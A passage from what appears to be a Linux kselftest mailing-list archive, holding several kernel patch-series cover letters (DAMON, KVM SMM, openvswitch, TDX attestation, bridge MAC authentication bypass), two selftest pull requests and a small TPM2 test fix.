- KUNIT_EXPECT_EQ(test, strlen(some_str), 40);
-
- /* After. Now we see the offending string. */
- KUNIT_EXPECT_EQ_MSG(test, strlen(some_str), 40, "some_str='%s'", some_str);
-
-Alternatively, one can take full control over the error message by using ``KUNIT_FAIL()``, e.g.
-
-.. code-block:: c
-
- /* Before */
- KUNIT_EXPECT_EQ(test, some_setup_function(), 0);
-
- /* After: full control over the failure message. */
- if (some_setup_function())
- KUNIT_FAIL(test, "Failed to setup thing for testing");
-
-Next Steps
-==========
-* Optional: see the Documentation/dev-tools/kunit/usage.rst page for a more
- in-depth explanation of KUnit.
--
2.38.0.135.g90850a2211-goog
Writing a value to DAMON_RECLAIM and DAMON_LRU_SORT's 'enabled'
parameters turns on or off DAMON in an ansychronous way. This means the
parameter cannot be used to read the current status of them.
'kdamond_pid' parameter should be used instead for the purpose. The
documentation is easy to be read as it works in a synchronous way, so it
is a little bit confusing. It also makes the user space tooling dirty.
There's no real reason to have the asynchronous behavior, though.
Simply make the parameter works synchronously, rather than updating the
document.
The first and second patches changes the behavior of the 'enabled'
parameter for DAMON_RECLAIM and adds a selftest for the changed
behavior, respectively. Following two patches make the same changes for
DAMON_LRU_SORT.
SeongJae Park (4):
mm/damon/reclaim: enable and disable synchronously
selftests/damon: add tests for DAMON_RECLAIM's enabled parameter
mm/damon/lru_sort: enable and disable synchronously
selftests/damon: add tests for DAMON_LRU_SORT's enabled parameter
mm/damon/lru_sort.c | 51 ++++++++++------------
mm/damon/reclaim.c | 53 ++++++++++-------------
tools/testing/selftests/damon/Makefile | 1 +
tools/testing/selftests/damon/lru_sort.sh | 41 ++++++++++++++++++
tools/testing/selftests/damon/reclaim.sh | 42 ++++++++++++++++++
5 files changed, 129 insertions(+), 59 deletions(-)
create mode 100755 tools/testing/selftests/damon/lru_sort.sh
create mode 100755 tools/testing/selftests/damon/reclaim.sh
--
2.25.1
This patch series is a result of long debug work to find out why
sometimes guests with win11 secure boot
were failing during boot.
During writing a unit test I found another bug, turns out
that on rsm emulation, if the rsm instruction was done in real
or 32 bit mode, KVM would truncate the restored RIP to 32 bit.
I also refactored the way we write SMRAM so it is easier
now to understand what is going on.
The main bug in this series which I fixed is that we
allowed #SMI to happen during the STI interrupt shadow,
and we did nothing to both reset it on #SMI handler
entry and restore it on RSM.
V4:
- rebased on top of patch series from Paolo which
allows smm support to be disabled by Kconfig option.
- addressed review feedback.
I included these patches in the series for reference.
Best regards,
Maxim Levitsky
Maxim Levitsky (15):
bug: introduce ASSERT_STRUCT_OFFSET
KVM: x86: emulator: em_sysexit should update ctxt->mode
KVM: x86: emulator: introduce emulator_recalc_and_set_mode
KVM: x86: emulator: update the emulation mode after rsm
KVM: x86: emulator: update the emulation mode after CR0 write
KVM: x86: smm: number of GPRs in the SMRAM image depends on the image
format
KVM: x86: smm: check for failures on smm entry
KVM: x86: smm: add structs for KVM's smram layout
KVM: x86: smm: use smram structs in the common code
KVM: x86: smm: use smram struct for 32 bit smram load/restore
KVM: x86: smm: use smram struct for 64 bit smram load/restore
KVM: svm: drop explicit return value of kvm_vcpu_map
KVM: x86: SVM: use smram structs
KVM: x86: SVM: don't save SVM state to SMRAM when VM is not long mode
capable
KVM: x86: smm: preserve interrupt shadow in SMRAM
Paolo Bonzini (8):
KVM: x86: start moving SMM-related functions to new files
KVM: x86: move SMM entry to a new file
KVM: x86: move SMM exit to a new file
KVM: x86: do not go through ctxt->ops when emulating rsm
KVM: allow compiling out SMM support
KVM: x86: compile out vendor-specific code if SMM is disabled
KVM: x86: remove SMRAM address space if SMM is not supported
KVM: x86: do not define KVM_REQ_SMI if SMM disabled
arch/x86/include/asm/kvm-x86-ops.h | 2 +
arch/x86/include/asm/kvm_host.h | 29 +-
arch/x86/kvm/Kconfig | 11 +
arch/x86/kvm/Makefile | 1 +
arch/x86/kvm/emulate.c | 458 +++----------
arch/x86/kvm/kvm_cache_regs.h | 5 -
arch/x86/kvm/kvm_emulate.h | 47 +-
arch/x86/kvm/lapic.c | 14 +-
arch/x86/kvm/lapic.h | 7 +-
arch/x86/kvm/mmu/mmu.c | 1 +
arch/x86/kvm/smm.c | 637 ++++++++++++++++++
arch/x86/kvm/smm.h | 160 +++++
arch/x86/kvm/svm/nested.c | 3 +
arch/x86/kvm/svm/svm.c | 43 +-
arch/x86/kvm/vmx/nested.c | 1 +
arch/x86/kvm/vmx/vmcs12.h | 5 +-
arch/x86/kvm/vmx/vmx.c | 11 +-
arch/x86/kvm/x86.c | 353 +---------
include/linux/build_bug.h | 9 +
tools/testing/selftests/kvm/x86_64/smm_test.c | 2 +
20 files changed, 1031 insertions(+), 768 deletions(-)
create mode 100644 arch/x86/kvm/smm.c
create mode 100644 arch/x86/kvm/smm.h
--
2.34.3
Syzbot recently caught a splat when dropping features from
openvswitch datapaths that are in-use. The WARN() call is
definitely too large a hammer for the situation, so change
to pr_warn.
Second patch in the series introduces a new selftest suite which
can help show that an issue is fixed. This change might be
more suited to net-next tree, so it has been separated out
as an additional patch and can be either applied to either tree
based on preference.
Aaron Conole (2):
openvswitch: switch from WARN to pr_warn
selftests: add openvswitch selftest suite
MAINTAINERS | 1 +
net/openvswitch/datapath.c | 3 +-
tools/testing/selftests/Makefile | 1 +
.../selftests/net/openvswitch/Makefile | 13 +
.../selftests/net/openvswitch/openvswitch.sh | 216 +++++++++
.../selftests/net/openvswitch/ovs-dpctl.py | 411 ++++++++++++++++++
6 files changed, 644 insertions(+), 1 deletion(-)
create mode 100644 tools/testing/selftests/net/openvswitch/Makefile
create mode 100755 tools/testing/selftests/net/openvswitch/openvswitch.sh
create mode 100644 tools/testing/selftests/net/openvswitch/ovs-dpctl.py
--
2.34.3
On top of mm-stable.
This is my current set of tests for testing COW handling of anonymous
memory, especially when interacting with GUP. I developed these tests
while working on PageAnonExclusive and managed to clean them up just now.
On current upstream Linux, all tests pass except the hugetlb tests that
rely on vmsplice -- these tests should pass as soon as vmsplice properly
uses FOLL_PIN instead of FOLL_GET.
I'm working on additional tests for COW handling in private mappings,
focusing on long-term R/O pinning e.g., of the shared zeropage, pagecache
pages and KSM pages. These tests, however, will go into a different file.
So this is everything I have regarding tests for anonymous memory.
Cc: Andrew Morton <akpm(a)linux-foundation.org>
Cc: Shuah Khan <shuah(a)kernel.org>
Cc: Jason Gunthorpe <jgg(a)nvidia.com>
Cc: John Hubbard <jhubbard(a)nvidia.com>
Cc: Nadav Amit <namit(a)vmware.com>
Cc: Peter Xu <peterx(a)redhat.com>
Cc: Andrea Arcangeli <aarcange(a)redhat.com>
Cc: Vlastimil Babka <vbabka(a)suse.cz>
Cc: Mike Rapoport <rppt(a)kernel.org>
Cc: Christoph von Recklinghausen <crecklin(a)redhat.com>
Cc: Don Dutile <ddutile(a)redhat.com>
David Hildenbrand (7):
selftests/vm: anon_cow: test COW handling of anonymous memory
selftests/vm: factor out pagemap_is_populated() into vm_util
selftests/vm: anon_cow: THP tests
selftests/vm: anon_cow: hugetlb tests
selftests/vm: anon_cow: add liburing test cases
mm/gup_test: start/stop/read functionality for PIN LONGTERM test
selftests/vm: anon_cow: add R/O longterm tests via gup_test
mm/gup_test.c | 140 +++
mm/gup_test.h | 12 +
tools/testing/selftests/vm/.gitignore | 1 +
tools/testing/selftests/vm/Makefile | 25 +-
tools/testing/selftests/vm/anon_cow.c | 1126 ++++++++++++++++++++
tools/testing/selftests/vm/check_config.sh | 31 +
tools/testing/selftests/vm/madv_populate.c | 8 -
tools/testing/selftests/vm/run_vmtests.sh | 3 +
tools/testing/selftests/vm/vm_util.c | 15 +
tools/testing/selftests/vm/vm_util.h | 2 +
10 files changed, 1353 insertions(+), 10 deletions(-)
create mode 100644 tools/testing/selftests/vm/anon_cow.c
create mode 100644 tools/testing/selftests/vm/check_config.sh
--
2.37.3
Hi All,
Intel's Trust Domain Extensions (TDX) protect guest VMs from malicious
hosts and some physical attacks. VM guest with TDX support is called
as a TDX Guest.
In TDX guest, attestation process is used to verify the TDX guest
trustworthiness to other entities before provisioning secrets to the
guest. For example, a key server may request for attestation before
releasing the encryption keys to mount the encrypted rootfs or
secondary drive.
This patch set adds attestation support for the TDX guest. Details
about the TDX attestation process and the steps involved are explained
in Documentation/x86/tdx.rst (added by patch 2/3).
Following are the details of the patch set:
Patch 1/3 -> Preparatory patch for adding attestation support.
Patch 2/3 -> Adds user interface driver to support attestation.
Patch 3/3 -> Adds selftest support for TDREPORT feature.
Commit log history is maintained in the individual patches.
Kuppuswamy Sathyanarayanan (3):
x86/tdx: Add a wrapper to get TDREPORT from the TDX Module
virt: Add TDX guest driver
selftests: tdx: Test TDX attestation GetReport support
Documentation/virt/coco/tdx-guest.rst | 42 +++++
Documentation/virt/index.rst | 1 +
Documentation/x86/tdx.rst | 43 +++++
arch/x86/coco/tdx/tdx.c | 31 ++++
arch/x86/include/asm/tdx.h | 2 +
drivers/virt/Kconfig | 2 +
drivers/virt/Makefile | 1 +
drivers/virt/coco/tdx-guest/Kconfig | 10 ++
drivers/virt/coco/tdx-guest/Makefile | 2 +
drivers/virt/coco/tdx-guest/tdx-guest.c | 131 ++++++++++++++
include/uapi/linux/tdx-guest.h | 51 ++++++
tools/testing/selftests/Makefile | 1 +
tools/testing/selftests/tdx/Makefile | 7 +
tools/testing/selftests/tdx/config | 1 +
tools/testing/selftests/tdx/tdx_guest_test.c | 175 +++++++++++++++++++
15 files changed, 500 insertions(+)
create mode 100644 Documentation/virt/coco/tdx-guest.rst
create mode 100644 drivers/virt/coco/tdx-guest/Kconfig
create mode 100644 drivers/virt/coco/tdx-guest/Makefile
create mode 100644 drivers/virt/coco/tdx-guest/tdx-guest.c
create mode 100644 include/uapi/linux/tdx-guest.h
create mode 100644 tools/testing/selftests/tdx/Makefile
create mode 100644 tools/testing/selftests/tdx/config
create mode 100644 tools/testing/selftests/tdx/tdx_guest_test.c
--
2.34.1
Hi Linus,
Please pull the following Kselftest fixes update for Linux 6.1-rc3.
This Kselftest fixes update for Linux 6.1-rc3 consists of:
- futex, intel_pstate, kexec build fixes
- ftrace dynamic_events dependency check fix
- memory-hotplug fix to remove redundant warning from test report
diff for this pull request is attached.
thanks,
-- Shuah
----------------------------------------------------------------
The following changes since commit 9abf2313adc1ca1b6180c508c25f22f9395cc780:
Linux 6.1-rc1 (2022-10-16 15:36:24 -0700)
are available in the Git repository at:
git://git.kernel.org/pub/scm/linux/kernel/git/shuah/linux-kselftest tags/linux-kselftest-fixes-6.1-rc3
for you to fetch changes up to cb05c81ada76a30a25a5f79b249375e33473af33:
selftests/ftrace: fix dynamic_events dependency check (2022-10-18 14:27:23 -0600)
----------------------------------------------------------------
linux-kselftest-fixes-6.1-rc3
This Kselftest fixes update for Linux 6.1-rc3 consists of:
- futex, intel_pstate, kexec build fixes
- ftrace dynamic_events dependency check fix
- memory-hotplug fix to remove redundant warning from test report
----------------------------------------------------------------
Ricardo Cañuelo (3):
selftests/futex: fix build for clang
selftests/intel_pstate: fix build for ARCH=x86_64
selftests/kexec: fix build for ARCH=x86_64
Sven Schnelle (1):
selftests/ftrace: fix dynamic_events dependency check
Zhao Gongyi (1):
selftests/memory-hotplug: Remove the redundant warning information
tools/testing/selftests/ftrace/test.d/dynevent/test_duplicates.tc | 2 +-
.../ftrace/test.d/trigger/inter-event/trigger-synthetic-eprobe.tc | 2 +-
tools/testing/selftests/futex/functional/Makefile | 6 ++----
tools/testing/selftests/intel_pstate/Makefile | 6 +++---
tools/testing/selftests/kexec/Makefile | 6 +++---
tools/testing/selftests/memory-hotplug/mem-on-off-test.sh | 1 -
6 files changed, 10 insertions(+), 13 deletions(-)
----------------------------------------------------------------
Hi Linus,
Please pull the following KUnit fixes update for Linux 6.1-rc3.
This KUnit fixes update for Linux 6.1-rc3 consists of one single fix
to update alloc_string_stream() callers to check for IS_ERR() instead
of NULL to be in sync with alloc_string_stream() returning IS_ERR().
diff for this pull request is attached.
thanks,
-- Shuah
----------------------------------------------------------------
The following changes since commit 9abf2313adc1ca1b6180c508c25f22f9395cc780:
Linux 6.1-rc1 (2022-10-16 15:36:24 -0700)
are available in the Git repository at:
git://git.kernel.org/pub/scm/linux/kernel/git/shuah/linux-kselftest tags/linux-kselftest-kunit-fixes-6.1-rc3
for you to fetch changes up to 618887768bb71f0a475334fa5a4fba7dc98d7ab5:
kunit: update NULL vs IS_ERR() tests (2022-10-18 15:08:42 -0600)
----------------------------------------------------------------
linux-kselftest-kunit-fixes-6.1-rc3
This KUnit fixes update for Linux 6.1-rc3 consists of one single fix
to update alloc_string_stream() callers to check for IS_ERR() instead
of NULL to be in sync with alloc_string_stream() returning IS_ERR().
----------------------------------------------------------------
Dan Carpenter (1):
kunit: update NULL vs IS_ERR() tests
lib/kunit/string-stream.c | 4 ++--
lib/kunit/test.c | 2 +-
2 files changed, 3 insertions(+), 3 deletions(-)
----------------------------------------------------------------
This patch set extends the locked port feature for devices
that are behind a locked port, but do not have the ability to
authorize themselves as a supplicant using IEEE 802.1X.
Such devices can be printers, meters or anything related to
fixed installations. Instead of 802.1X authorization, devices
can get access based on their MAC addresses being whitelisted.
For an authorization daemon to detect that a device is trying
to get access through a locked port, the bridge will add the
MAC address of the device to the FDB with a locked flag to it.
Thus the authorization daemon can catch the FDB add event and
check if the MAC address is in the whitelist and if so replace
the FDB entry without the locked flag enabled, and thus open
the port for the device.
This feature is known as MAC-Auth or MAC Authentication Bypass
(MAB) in Cisco terminology, where the full MAB concept involves
additional Cisco infrastructure for authorization. There is no
real authentication process, as the MAC address of the device
is the only input the authorization daemon, in the general
case, has to base the decision if to unlock the port or not.
With this patch set, an implementation of the offloaded case is
supplied for the mv88e6xxx driver. When a packet ingresses on
a locked port, an ATU miss violation event will occur. When
handling such ATU miss violation interrupts, the MAC address of
the device is added to the FDB with a zero destination port
vector (DPV) and the MAC address is communicated through the
switchdev layer to the bridge, so that a FDB entry with the
locked flag enabled can be added.
Log:
v3: Added timers and lists in the driver (mv88e6xxx)
to keep track of and remove locked entries.
v4: Leave out enforcing a limit to the number of
locked entries in the bridge.
Removed the timers in the driver and use the
worker only. Add locked FDB flag to all drivers
using port_fdb_add() from the dsa api and let
all drivers ignore entries with this flag set.
Change how to get the ageing timeout of locked
entries. See global1_atu.c and switchdev.c.
Use struct mv88e6xxx_port for locked entries
variables instead of struct dsa_port.
v5: Added 'mab' flag to enable MAB/MacAuth feature,
in a similar way to the locked feature flag.
In these implementations for the mv88e6xxx, the
switchport must be configured with learning on.
To tell userspace about the behavior of the
locked entries in the driver, a 'blackhole'
FDB flag has been added, which locked FDB
entries coming from the driver gets. Also the
'sticky' flag comes with those locked entries,
as the drivers locked entries cannot roam.
Fixed issues with taking mutex locks, and added
a function to read the fid, that supports all
versions of the chipset family.
v6: Added blackhole FDB flag instead of using sticky
flag, as the blackhole flag corresponds to the
behaviour of the zero-DPV locked entries in the
driver.
Userspace can add blackhole FDB entries with:
# bridge fdb add MAC dev br0 blackhole
Added FDB flags towards driver in DSA layer as u16.
v7: Remove locked port and mab flags from DSA flags
inherit list as it messes with the learning
setting and those flags are not naturally meant
for enheriting, but should be set explicitly.
Fix blackhole implementation, selftests a.o small
fixes.
v8: Improvements to error messages with user space added
blackhole entries and improvements to the selftests.
Hans J. Schultz (12):
net: bridge: add locked entry fdb flag to extend locked port feature
net: bridge: add blackhole fdb entry flag
net: bridge: enable bridge to install locked fdb entries from drivers
net: bridge: add MAB flag to hardware offloadable flags
net: dsa: propagate the locked flag down through the DSA layer
net: bridge: enable bridge to send and receive blackhole FDB entries
net: dsa: send the blackhole flag down through the DSA layer
drivers: net: dsa: add fdb entry flags incoming to switchcore drivers
net: dsa: mv88e6xxx: allow reading FID when handling ATU violations
net: dsa: mv88e6xxx: mac-auth/MAB implementation
net: dsa: mv88e6xxx: add blackhole ATU entries
selftests: forwarding: add MAB tests to locked port tests
drivers/net/dsa/b53/b53_common.c | 12 +-
drivers/net/dsa/b53/b53_priv.h | 4 +-
drivers/net/dsa/hirschmann/hellcreek.c | 12 +-
drivers/net/dsa/lan9303-core.c | 12 +-
drivers/net/dsa/lantiq_gswip.c | 12 +-
drivers/net/dsa/microchip/ksz9477.c | 8 +-
drivers/net/dsa/microchip/ksz9477.h | 8 +-
drivers/net/dsa/microchip/ksz_common.c | 14 +-
drivers/net/dsa/mt7530.c | 12 +-
drivers/net/dsa/mv88e6xxx/Makefile | 1 +
drivers/net/dsa/mv88e6xxx/chip.c | 142 ++++++++-
drivers/net/dsa/mv88e6xxx/chip.h | 19 ++
drivers/net/dsa/mv88e6xxx/global1.h | 1 +
drivers/net/dsa/mv88e6xxx/global1_atu.c | 72 ++++-
drivers/net/dsa/mv88e6xxx/port.c | 15 +-
drivers/net/dsa/mv88e6xxx/port.h | 6 +
drivers/net/dsa/mv88e6xxx/switchdev.c | 284 ++++++++++++++++++
drivers/net/dsa/mv88e6xxx/switchdev.h | 37 +++
drivers/net/dsa/ocelot/felix.c | 12 +-
drivers/net/dsa/qca/qca8k-common.c | 12 +-
drivers/net/dsa/qca/qca8k.h | 4 +-
drivers/net/dsa/rzn1_a5psw.c | 12 +-
drivers/net/dsa/sja1105/sja1105_main.c | 18 +-
include/linux/if_bridge.h | 1 +
include/net/dsa.h | 7 +-
include/net/switchdev.h | 2 +
include/uapi/linux/if_link.h | 1 +
include/uapi/linux/neighbour.h | 11 +-
net/bridge/br.c | 5 +-
net/bridge/br_fdb.c | 88 +++++-
net/bridge/br_input.c | 20 +-
net/bridge/br_netlink.c | 12 +-
net/bridge/br_private.h | 5 +-
net/bridge/br_switchdev.c | 4 +-
net/core/rtnetlink.c | 5 +
net/dsa/dsa_priv.h | 10 +-
net/dsa/port.c | 32 +-
net/dsa/slave.c | 16 +-
net/dsa/switch.c | 24 +-
.../selftests/drivers/net/dsa/Makefile | 1 +
.../testing/selftests/net/forwarding/Makefile | 1 +
.../net/forwarding/bridge_blackhole_fdb.sh | 131 ++++++++
.../net/forwarding/bridge_locked_port.sh | 99 +++++-
tools/testing/selftests/net/forwarding/lib.sh | 17 ++
44 files changed, 1100 insertions(+), 121 deletions(-)
create mode 100644 drivers/net/dsa/mv88e6xxx/switchdev.c
create mode 100644 drivers/net/dsa/mv88e6xxx/switchdev.h
create mode 100755 tools/testing/selftests/net/forwarding/bridge_blackhole_fdb.sh
--
2.34.1
From: Stefan Berger <stefanb(a)linux.ibm.com>
[ Upstream commit 2d869f0b458547386fbcd8cf3004b271b7347b7f ]
The following output can bee seen when the test is executed:
test_flush_context (tpm2_tests.SpaceTest) ... \
/usr/lib64/python3.6/unittest/case.py:605: ResourceWarning: \
unclosed file <_io.FileIO name='/dev/tpmrm0' mode='rb+' closefd=True>
An instance of Client does not implicitly close /dev/tpm* handle, once it
gets destroyed. Close the file handle in the class destructor
Client.__del__().
Fixes: 6ea3dfe1e0732 ("selftests: add TPM 2.0 tests")
Cc: Shuah Khan <shuah(a)kernel.org>
Cc: linux-kselftest(a)vger.kernel.org
Cc: Jarkko Sakkinen <jarkko(a)kernel.org>
Signed-off-by: Stefan Berger <stefanb(a)linux.ibm.com>
Reviewed-by: Jarkko Sakkinen <jarkko(a)kernel.org>
Signed-off-by: Jarkko Sakkinen <jarkko(a)kernel.org>
Signed-off-by: Sasha Levin <sashal(a)kernel.org>
---
tools/testing/selftests/tpm2/tpm2.py | 4 ++++
1 file changed, 4 insertions(+)
diff --git a/tools/testing/selftests/tpm2/tpm2.py b/tools/testing/selftests/tpm2/tpm2.py
index f34486cd7342..3e67fdb518ec 100644
--- a/tools/testing/selftests/tpm2/tpm2.py
+++ b/tools/testing/selftests/tpm2/tpm2.py
@@ -370,6 +370,10 @@ class Client:
fcntl.fcntl(self.tpm, fcntl.F_SETFL, flags)
self.tpm_poll = select.poll()
+ def __del__(self):
+ if self.tpm:
+ self.tpm.close()
+
def close(self):
self.tpm.close()
--
2.35.1